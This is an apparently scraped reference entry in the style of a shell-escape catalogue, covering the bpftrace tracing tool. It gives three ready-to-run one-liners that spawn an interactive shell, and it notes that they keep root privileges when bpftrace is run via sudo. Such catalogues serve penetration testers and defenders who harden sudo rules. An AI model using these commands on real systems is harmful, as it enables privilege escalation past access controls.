bpftrace
Shell
This executable can spawn an interactive system shell.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}' - This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.echo 'BEGIN {system("/bin/sh 1<&0");exit()}' >/path/to/temp-file bpftrace --unsafe /path/to/temp-file - This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.bpftrace -c /bin/sh -e 'END {exit()}'